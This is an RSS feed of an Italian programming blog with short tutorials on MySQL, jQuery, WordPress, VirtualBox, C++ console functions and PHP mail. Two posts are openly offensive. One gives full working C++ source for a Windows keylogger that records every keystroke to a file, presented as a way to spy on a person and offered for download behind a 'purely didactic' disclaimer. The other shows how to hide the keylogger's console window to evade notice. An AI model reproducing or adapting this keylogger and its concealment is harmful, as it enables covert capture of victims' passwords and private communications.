IoSmanetto.it - Blog programmazione e webdesign http://www.iosmanetto.it Il blog per tutti gli smanettoni del pc. Ogni giorno nuovi articoli sul webdesign e sulla programmazione Thu, 08 Jul 2010 23:29:05 +0000 en hourly 1 http://wordpress.org/?v=3.0 Mysql : gli operatori IN e BETWEEN http://www.iosmanetto.it/mysql/mysql-gli-operatori-in-e-between/ http://www.iosmanetto.it/mysql/mysql-gli-operatori-in-e-between/#comments Thu, 08 Jul 2010 23:29:05 +0000 Gregorio http://www.iosmanetto.it/?p=540 Oggi vi parlerò di IN e BETWEEN, due operatori fondamentali per la realizzazione di query mysql

Mi sembra poco utile versare parole in più per farvi capire dei concetti molto semplici, perciò vi butto giù subito gli esempi e li commenteremo insieme . 

SELECT * FROM `tb_nome` WHERE title = 'Home' OR title = 'Info' OR title = 'Blog' OR title = 'Contatti';

La query appena scritta non fa altro che restituire tutti i record in cui il campo title contenga almeno una delle seguenti parole : ‘Home’,'Info’,'Blog’,'Contatti’ .

IN semplifica e rende più esplicita la query scritta sopra. Vediamo questo esempio : 

SELECT * FROM `tb_nome` WHERE title IN('Home','Info','Blog','Contatti');

Semplice no ?

Between è anche molto intuitivo perchè restituisce i record in cui il campo specificato contenga un valore compreso fra due numeri : 

SELECT * FROM `tb_nome` WHERE age BETWEEN 12 AND 18 ;
]]> http://www.iosmanetto.it/mysql/mysql-gli-operatori-in-e-between/feed/ 0 Personalizzare una Select Box ! http://www.iosmanetto.it/javascript/personalizzare-un-select-box/ http://www.iosmanetto.it/javascript/personalizzare-un-select-box/#comments Mon, 05 Jul 2010 21:26:22 +0000 Gregorio http://www.iosmanetto.it/?p=511 Non tutti i componenti del form sono personalizzabili al 100%, a volte è possibile modificare solo alcune caratteristiche come il colore del testo e dello sfondo .

La select box difficilmente viene personalizzata via css perchè molti browser non accettano pienamente questa funzione .
Impariamo a creare una select box tutta nostra con l’ausilio del nostro amato framework Jquery !

Per l’occasione ho preparato questo semplice form che è costituito da una textbox , una select box e un submit .



La select box si presenta come un div (.selectBox) con i segunti nodi figli :

  1. .input Qui viene visualizzato il testo scelto dell’utente nel menu a tendina
  2. input hidden Il valore scelto viene copiato in questa field per poter essere inviato durante il submit del form
  3. .arrow Pulsantino per aprire il menu a tendina
  4. .hoverBox Una lista (ul) contenente i valori di scelta


<div class="selectbox"><span class="">Seleziona un valore</span>
    <input type="hidden" value="none" name="field2" />
    <a href="#" class="arrow"></a>
    <ul class="hoverBox">
      <li><a href="#">item 1</a></li>
      <li><a href="#">item 2</a></li>
      <li><a href="#">item 3</a></li>
      <li><a href="#">item 4</a></li>
      <li><a href="#">item 5</a></li>
    </ul>
  </div>

Vediamo cosa fa il seguente codice jquery che regola il funzionamento di tutta la selectbox

<script type="text/javascript">
$(document).ready(function(){
// Funzione che viene chiamata quando la pagina si carica
 
// Gestione freccia Select Box
 
$(".selectbox .arrow").click(function(){
 
// Quando utente clicca sulla freccia ...
 
$(this).parent().children(".hoverBox").show();
 
 
});
// Quando utente fa click il box scompare
$(".selectbox .hoverBox").mouseup(function(){
	$(this).hide();
})
// Quando utente clicca su un link , il valore viene copiato nello SPAN nell hidden
$(".selectbox .hoverBox a").click(function(){
	var value = $(this).text();
        $(this).parent().parent().parent().children("input").val(value);
    $(this).parent().parent().parent().children(".input").text(value);															 
								});
 
						    });
			</script>

Quando l’utente fa click nella freccia ( .arrow ) viene visualizzato il box contenente i link .

$(this).parent().children(".hoverBox").show();

Se l’utente preme un link il valore viene copiato sia nello span , per la visulizzazione grafica , e sia nell’input hidden .

	var value = $(this).text();
        $(this).parent().parent().parent().children("input").val(value);
        $(this).parent().parent().parent().children(".input").text(value);
]]> http://www.iosmanetto.it/javascript/personalizzare-un-select-box/feed/ 0 Jquery : checkbox selezionato ? http://www.iosmanetto.it/javascript/jquery-checkbox-selezionato/ http://www.iosmanetto.it/javascript/jquery-checkbox-selezionato/#comments Sun, 04 Jul 2010 13:55:24 +0000 Gregorio http://www.iosmanetto.it/?p=506 Validare un form con jquery è davvero semplice : occorrono poche istruzioni per scrivere una funzione completa e sicura .
Non avevo mai validato un checkbox con jquery , cosi mi sono chiesto come sia possibile farlo senza usare javascript puro .

Girovagando sul sito di jquery sono arrivato ad una semplice conclusione , usare la funzione is() .

if($("#id_checkbox").is(":checked")){
      // Se checkbox è selezionato
}else{
      // Se checkbox non è selezionato
}

Spero di esservi stato utile ;) A domani !

]]> http://www.iosmanetto.it/javascript/jquery-checkbox-selezionato/feed/ 0 Costum Field in wordpress , “Utilissimi!” http://www.iosmanetto.it/php/costum-field-in-wordpress-utilissimi/ http://www.iosmanetto.it/php/costum-field-in-wordpress-utilissimi/#comments Sat, 03 Jul 2010 13:44:42 +0000 Gregorio http://www.iosmanetto.it/?p=489 I Costum Field non sono altro che dei campi aggiuntivi da inserire in post e pagine per organizzare al meglio le informazioni . Dal mio punto di vista questa funzione è una delle più utili di wordpress perchè permette di creare dei veri e propri cms .

Inserirne uno è davvero semplice . Quando stai per salvare un nuovo post , in fondo alla pagina avrai sicuramente notato il box “Campi personalizzati” . Da li è possibile aggiungere tutti i parametri che vuoi .

Nella versione 3.0 di wordpress occorrono i seguenti passaggi :

  1. Fare click su Aggiungere Nuovo
  2. Compilare i due campi Nome e Valore
  3. Fare click su Aggiungi Campo Personalizzato


Per richiamare i valori all’interno del post/pagina possiamo usare la funzione get_post_meta che accetta tre parametri . Ecco la sintassi della funzione :

get_post_meta(idpost,key,bArray)

idpost Se non conosciamo l’id del post basta usare la variabile $post->ID .

key Il nome del parametro inserito precedentemente

bArray Se impostata su true restituisce il valore sotto forma di stringa . Se esistono piu’ field con lo stesso nome restituisce l’ultimo inserito . Se invece è impostato su false restituisce un array di stringhe .

Proviamo a realizzare una semplice applicazione , tanto per capire l’importanza dei campi personalizzati : sviluppiamo una semplice fotogallery da inserire nei post .

Per prima cosa apriamo la pagina single.php e individuiamo il ciclo loop principale :

...
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
...
<?php endwhile; endif; ?>

All’interno del ciclo inseriamo il seguente codice :

<?php $n = get_post_meta($post->ID,"numero gallerie",true);  		
for($i = 1 ; $i <= $n;$i++){
  $mykey_values = get_post_custom_values("galleria_$i");
  $nome = get_post_meta($post->ID,"galleria_".$i."_titolo",true);
?   <div class="boxSub">
        <div class="title"><?=$nome?></div>
        <ul class="images">
        <?php   foreach ( $mykey_values as $key => $value ) { ?>
          <li><a href="#"><img src="<?=$value?>" /></a></li>
          <?php } ?>
        </ul>
        <div class="clear"></div>
      </div>
      <?php     
}
	  ?>

Se vogliamo inserire una o piu’ gallerie all’interno di un post o una pagina dobbiamo inserire i seguenti campi personalizzati :

  • numero gallerie – Qui inserire quante sono le gallerie
  • galleria_id_titolo – Dove id è l’identificativo della galleria , in questo campo dovete inserire il nome della galleria
  • galleria_id – Inserite tante volte questo campo quanti sono le immagini della galleria . In questi campi dovete aggiungere il link delle immagini
]]> http://www.iosmanetto.it/php/costum-field-in-wordpress-utilissimi/feed/ 0 Clonare HD di VirtualBox ( . vdi ) http://www.iosmanetto.it/virtualbox/clonare-hd-di-virtualbox-vdi/ http://www.iosmanetto.it/virtualbox/clonare-hd-di-virtualbox-vdi/#comments Fri, 02 Jul 2010 13:11:30 +0000 Gregorio http://www.iosmanetto.it/?p=466 VirtualBox è un potente emulatore che permette di simulare delle macchine virtuali . Per chi non l’ha scaricato  vi consiglio di provarlo, è davvero figo avere piu’ sistemi operativi all’interno di una sola macchina fisica


Download VirtualBox

Pochi giorni fa ho creato due macchine virtuali con sistema operativo windows xp . L’iter della creazione di queste macchine, vuole che dopo aver impostato le caratteristiche del pc virtuale , l’utente installi il sistema operativo . Nel mio caso dovevo installare l’ S.O due volte , ma se volessi crearne dieci di macchine virtuali ? Mi tocca installare 10 volte XP , una rottura allucinante XD .

Ecco se voi avete lo stesso problema non vi allarmate perchè esiste un modo per clonare un hd di virtualbox . Quindi se io volessi creare dieci , venti macchine virtuali con xp è un gioco da ragazzi, basta creare una prima macchina , installo xp e poi clono l’hd .

Per clonare l’hd , andate nella console di windows ( cmd.exe ) , posizionatevi nella dir C:\Program Files\Oracle\VirtualBox\ e lanciate il comando VBoxManage con la seguente sintassi :

VBoxManage clonevdi nomefileorigine.vdi nomefilecopia.vdi

Importantissimo se i file vdi non si trovano all’interno della cartella VirtualBox in programmi , dovete specificare l’indirizzo assoluto del file . Se l’hd si trova in documenti , un esempio potrebbe essere il seguente :

VBoxManage clonevdi C:\Users\Alessio\Documents\nomefileorigine.vdi C:\Users\Alessio\Documents\nomefilecopia.vdi

Se avete qualche problema non esitate a contattarmi

Alla prossima ;)

]]> http://www.iosmanetto.it/virtualbox/clonare-hd-di-virtualbox-vdi/feed/ 0 GotoXY sul compilatore DevC++ http://www.iosmanetto.it/cpp/gotoxy-sul-compilatore-devc/ http://www.iosmanetto.it/cpp/gotoxy-sul-compilatore-devc/#comments Mon, 01 Feb 2010 21:10:23 +0000 Gregorio http://www.iosmanetto.it/?p=425 Lo scopo della funzione gotoxy, presente nella libreria conio.h , è quello di spostare il cursore della console.
DevC++ non contiene la libreria perciò,se non vogliamo installarla, l’unica soluzione è quella di creare la funzione:

#include <windows.h>
#include <stdio.h>
#include <iostream.h>
void gotoxy(int x,int y){     
     HANDLE HConsole;
     CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo;     
     HConsole = GetStdHandle(STD_OUTPUT_HANDLE);
     ConsoleInfo.dwCursorPosition.X = x;
     ConsoleInfo.dwCursorPosition.Y = y;     
     SetConsoleCursorPosition(HConsole,ConsoleInfo.dwCursorPosition);     
}
int main(){
    gotoxy(3,2);
    printf("IOSMANETTO.it\n");
    gotoxy(3,1);
    system("pause");
    return 1;
    }

HANDLE HConsole; HANDLE è simile ad un puntatore ma è piu’ complesso.

CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo; Dichiariamo ConsoleInfo come struttura CONSOLE_SCREEN_BUFFER_INFO . La struttura contiene informazioni sulla console come la posizione del cursore, il colore del testo e dello sfondo ecc.

HConsole = GetStdHandle(STD_OUTPUT_HANDLE); Otteniamo l’Handle della console

ConsoleInfo.dwCursorPosition.X = x; ConsoleInfo.dwCursorPosition.Y = y; Inseriamo le nuove coordinate

SetConsoleCursorPosition(HConsole,ConsoleInfo.dwCursorPosition);
SetConsoleCursorPosition setta la posizione del cursore. Come parametri passiamo l’handle della console e la nuova posizione.

]]> http://www.iosmanetto.it/cpp/gotoxy-sul-compilatore-devc/feed/ 1 Console invisibile c++ http://www.iosmanetto.it/cpp/console-invisibile-c/ http://www.iosmanetto.it/cpp/console-invisibile-c/#comments Sun, 31 Jan 2010 19:34:49 +0000 Gregorio http://www.iosmanetto.it/?p=419 Nell’articolo precedente abbiamo realizzato un keylogger per windows in c++. Chi ha letto l’articolo e provato il keylogger avrà sicuramente notato un piccolo particolare : la console è visibile e chiunque puo’ notare la sua presenza. Come nasconderla allora ?

#include <windows.h>
#include <stdlib.h>
int main(int argc, char * argv[])
{
    HWND form; 
    form = GetForegroundWindow();
    ShowWindow(form, false);
    system("pause");
}

HWND form; Dichiara la variabile form di tipo HWND. HWND sta per (h)handle (wnd)window e viene usata per accedere alla proprietà di una finestra.

form = GetForegroundWindow(); La funzione GetForegroundWindow restituisce il puntatore della finestra in primo piano.

ShowWindow(form, false); ShowWindow modifica lo stato di una finestra. Con false indichiamo di nascondere la finestra

Semplice no !? Per il keylogger rendere invisibile la finestra è importantissimo ma non è il massimo : dal Taskmenager è sempre possibile individuare il processo .

]]> http://www.iosmanetto.it/cpp/console-invisibile-c/feed/ 0 Keylogger windows in c++ http://www.iosmanetto.it/cpp/keylogger-windows-in-c/ http://www.iosmanetto.it/cpp/keylogger-windows-in-c/#comments Sat, 30 Jan 2010 17:59:29 +0000 Gregorio http://www.iosmanetto.it/?p=400 Lo scopo dell’articolo è puramente didattico. Non mi assumo nessuna responsabilità sull’uso illecito dello script.

Per spiare una persona non è necessario nulla di complicato: basta infatti intercettare in qualche modo quello che viene digitato sulla tastiera. Lo strumento necessario per questo tipo di operazione è il keylogger che puo’ essere software o hardware.

Oggi parleremo di quello software realizzandone uno in c++.

Lo scopo del keylogger è quello di intercettare i tasti premuti dall’utente e registrali in un file.
La funzione GetAsyncKeyState, presente nella libreria windows.h, è indispensabile perchè restituisce lo stato di un bottone , cioè se è premuto o no.

Ecco un semplice esempio per utilizzare questa funzione.

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
int main(){   
    while(1){                     
             if(GetAsyncKeyState(65)==-32767){                                             
                    cout << "Tasto A premuto\n";                                                         
              }                           
    }    
    return 1;
}


Il seguente codice if(GetAsyncKeyState(65)==-32767){ controlla se il tasto della lettera A ( corrisponde al numero 65 ) è premuto. Quando noi , infatti, premiamo il tasto, la funzione restituisce -32767 .

Altra concetto fondamentale per costruire il nostro keylogger è saper scrivere sui file . Lo script altre ad intercettare la pressione dei tasti deve salvare ogni singolo movimento in un file txt.

Il seguente programmino apre il file in scrittura e scrive una stringa “prova”

#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
void main(){
     char * file = "keylog.txt";
     FILE * scrivi ;
     scrivi = fopen(file,"a+");
     fprintf(scrivi,"prova");
     system("pause");     
     }

Dopo aver imparato a scrivere sui file e ad intercettare le pressioni sui tasti vi posto lo script completo del keylogger con alcuni commenti sul codice :

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <iostream.h>
 
// La seguente funzione registra il tasto premuto 
// sul file
void reg(int key,char *file){
 
   FILE *keylog;
   keylog = fopen(file,"a+");  // Apriamo il file in modalità scrittura con 
   // cursore posizionato alla fine
   int tmp = key; 
 
   switch(key){
 
   case 8 :    fprintf(keylog,"[Del]"); break; 
   case 9 :    fprintf(keylog,"[Tab]"); break;      
   case 13:    fprintf(keylog,"\n[Invio]\n"); break;
   case 37:    fprintf(keylog,"[Left]"); break;
   case 38:    fprintf(keylog,"[Top]"); break;
   case 39:    fprintf(keylog,"[Right]"); break;  
   case 40:    fprintf(keylog,"[Bottom]"); break; 
   case 46:    fprintf(keylog,"[Canc]"); break;   
   case 44:    fprintf(keylog,"[Stamp R sist]"); break;   
   case 45:    fprintf(keylog,"[Ins]"); break;     
   case 33:    fprintf(keylog,"[Pag Su]"); break;  
   case 34:    fprintf(keylog,"[Pag Giu]"); break;        
   case 35:    fprintf(keylog,"[Fine"); break;      
   case 164:    fprintf(keylog,"[Alt]"); break;       
   case 145:    fprintf(keylog,"[Bloc Scorr]"); break;  
   case 92:case 91:    fprintf(keylog,"[Windows]"); break;           
   case 32:    fprintf(keylog," "); break;
   case 162:   fprintf(keylog,"[Ctrl]"); break;
   case 107:   fprintf(keylog,"+"); break;
   case 109:   fprintf(keylog,"-"); break;  
   case 111:   fprintf(keylog,"*"); break;   
   case 144:   fprintf(keylog,"/"); break;   
   case 106:   fprintf(keylog,"-"); break;    
   case 27:case 163:   fprintf(keylog,"[Esc]"); break;     
   }
   // Tasti F1,F1,F2 ecc
   if(key >= 112 and key <= 123){
      key -= 112;
      fprintf(keylog,"[%d]",key);   
      key=tmp; 
   }
   // Alfabeto
   if(key >= 65 && key <= 90){
 
             if(GetKeyState(VK_CAPITAL)==1 || GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128   ){
             // Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo
             fprintf(keylog,"%s",&key);          
 
             }else{
             // Se no memorizziamola in minuscolo
             key += 32;
             fprintf(keylog,"%s",&key);         
             key = tmp;
             }                       
   }   
   // TASTI numerici   
   if( GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128 ){  
       // Se è premuto shift ... 
      switch(key){
      case 48 : fprintf(keylog,"="); break;      
      case 49 : fprintf(keylog,"!"); break; 
      case 50 : fprintf(keylog,"\"");break;
      case 51 : fprintf(keylog,"£");   break;    
      case 52 : fprintf(keylog,"$");  break;  
      case 53 : fprintf(keylog,"%");  break;   
      case 54 : fprintf(keylog,"&");  break;        
      case 55 : fprintf(keylog,"/");  break;               
      case 56 : fprintf(keylog,"(");  break;
      case 57 : fprintf(keylog,")");  break;                                      
      }                         
 
   }else{   
   // Se no stampa i numeri   
       if(key >= 48 && key <= 57){         
       fprintf(keylog,"%s",&key);      
       }     
    } 
 
   if( GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128 ){
   // Se è premuto Shift ...
      switch(key){
 
      case 192 : fprintf(keylog,"ç"); break;   
      case 191 : fprintf(keylog,"§"); break;       
      case 222 : fprintf(keylog,"°"); break; 
      case 187 : fprintf(keylog,"*"); break;       
      case 186 : fprintf(keylog,"é"); break;                                       
      case 188 : fprintf(keylog,";"); break;
      case 190 : fprintf(keylog,":"); break;
      case 189 : fprintf(keylog,"_"); break; 
      case 219 : fprintf(keylog,"?"); break;    
      case 221 : fprintf(keylog,"^"); break; 
      case 226 : fprintf(keylog,">"); break;  
      case 220 : fprintf(keylog,"|"); break;           
 
      }  
 
    }else if((GetKeyState(17)==-127 || GetKeyState(17)==-128  )&&(GetKeyState(18)==-127 || 
    GetKeyState(18)==-128 )&&( GetKeyState(162)==-127 ||  GetKeyState(162)==-128 )&&
    (GetKeyState(165)==-127 || GetKeyState(165)==-128) ){
    // Se tiene premuto ALT GR
      switch(key){
      case 192 : fprintf(keylog,"@"); break;     
      case 222 : fprintf(keylog,"#"); break;  
      case 187 : fprintf(keylog,"]"); break;   
      case 186 : fprintf(keylog,"["); break;             
      }                           
    }else{
    // Se no
      switch(key){  
      case 192 : fprintf(keylog,"ò"); break;     
      case 191 : fprintf(keylog,"ù"); break;      
      case 222 : fprintf(keylog,"à"); break;    
      case 187 : fprintf(keylog,"+"); break;     
      case 186 : fprintf(keylog,"è"); break;    
      case 188 : fprintf(keylog,","); break;    
      case 190 : fprintf(keylog,"."); break;        
      case 189 : fprintf(keylog,"-"); break;    
      case 219 : fprintf(keylog,"'"); break;      
      case 221 : fprintf(keylog,"ì"); break;      
      case 226 : fprintf(keylog,"<"); break;    
      case 220 : fprintf(keylog,"\\"); break;                                     
      }     
    }
 
   fclose(keylog);
}
 
int main(){
 
 
 
    char * file = "prova.txt";
    int i;
    while(1){       
          for(i=8;i<=1000;i++){             
             if(GetAsyncKeyState(i)==-32767){                                             
                                reg(i,file);                                                         
              }          
          }          
    }
 
    return 1;
}

Download Keylogger windows

Nel prossimo articolo spiegherò come nascondere la console e per rendere invisibile il processo di intercettamento

]]> http://www.iosmanetto.it/cpp/keylogger-windows-in-c/feed/ 4 Inviamo una semplice email con PHP http://www.iosmanetto.it/php/inviamo-una-email-con-mail/ http://www.iosmanetto.it/php/inviamo-una-email-con-mail/#comments Mon, 18 Jan 2010 21:56:01 +0000 Gregorio http://www.iosmanetto.it/?p=397 In php è possibile inviare una email con la funzione mail()

Un semplice esempio potrebbe essere il seguente :

$mes = "Questa è una email di prova";
if(mail("destinatario@email.com","Oggetto email",$mes)){
       echo "Messaggio Inviato";
}else{
       echo "Messaggio non inviato";
}

Il primo parametro della funzione è il destinatario . Il secondo l’oggetto dell’email e l’ultimo il messaggio.

]]> http://www.iosmanetto.it/php/inviamo-una-email-con-mail/feed/ 0 Centrare un div al centro della pagina con JQuery/JavaScript http://www.iosmanetto.it/javascript/centrare-un-div-al-centro-della-pagina-con-jqueryjavascript/ http://www.iosmanetto.it/javascript/centrare-un-div-al-centro-della-pagina-con-jqueryjavascript/#comments Mon, 11 Jan 2010 13:11:02 +0000 Gregorio http://www.iosmanetto.it/?p=375 Oggi vi mostrerò come allineare perfettamente un box(div) al centro di una pagina web con l’ausilio di Jquery, una delle librerie più usate per programmare in javascript.

La funzione che ci permette di fare ciò è la seguente :

<script type="text/javascript">
function centerDiv(div){
  	var DIVwidth = $(div).width();	
	var DIVheight = $(div).height();
	var SCREENwidth = $(document).width();
	var SCREENheight = $(window).height();	
	var SCREENscrolltop = $(window).scrollTop();
    $(div).hide();
	$(div).css({"position":"absolute","left":(SCREENwidth-DIVwidth)/2+"px","top":(SCREENheight-DIVheight)/2+SCREENscrolltop+"px"});
	$(div).show();
 
}
var div = "#boxCenter";
$(document).ready(function(){
	centerDiv(div);
});
$(window).scroll(function(){
	centerDiv(div);
});
$(window).resize(function(){
	centerDiv(div);
});
</script>

Lo script al primo accesso calcola le coordinate e le imposta al div selezionato . Se l’utente modifica le dimensioni della finestra vengono calcolate delle nuove coordinate e aggiornate.

Proviamo a commentare il cuore del programmino :

	$(div).css({"position":"absolute","left":(SCREENwidth-DIVwidth)/2+"px","top":(SCREENheight-DIVheight)/2+SCREENscrolltop+"px"});

$().css è una funzione JQuery usata per modificare lo stile ( css ) di un elemento html. Ha la seguente sintassi :

$("selettore").css({"proprietà":"valore","proprietà2":"valore",ecec});

Le coordinate X del div viene calcolata grazie a questa espressione :

(SCREENwidth-DIVwidth)/2

Sottraendo la larghezza del DIV alla larghezza del documento otteniamo i due margini , quello sinistro e destro. Per avere un margine occorre quindi dividere tutto per due .

Stesso procedimento per la cordinata Y del box , cambia solo un piccolo particolare perché bisogna sommare lo scroll verticale della pagina :

(SCREENheight-DIVheight)/2+SCREENscrolltop

Vedi esempio – Scarica

]]> http://www.iosmanetto.it/javascript/centrare-un-div-al-centro-della-pagina-con-jqueryjavascript/feed/ 0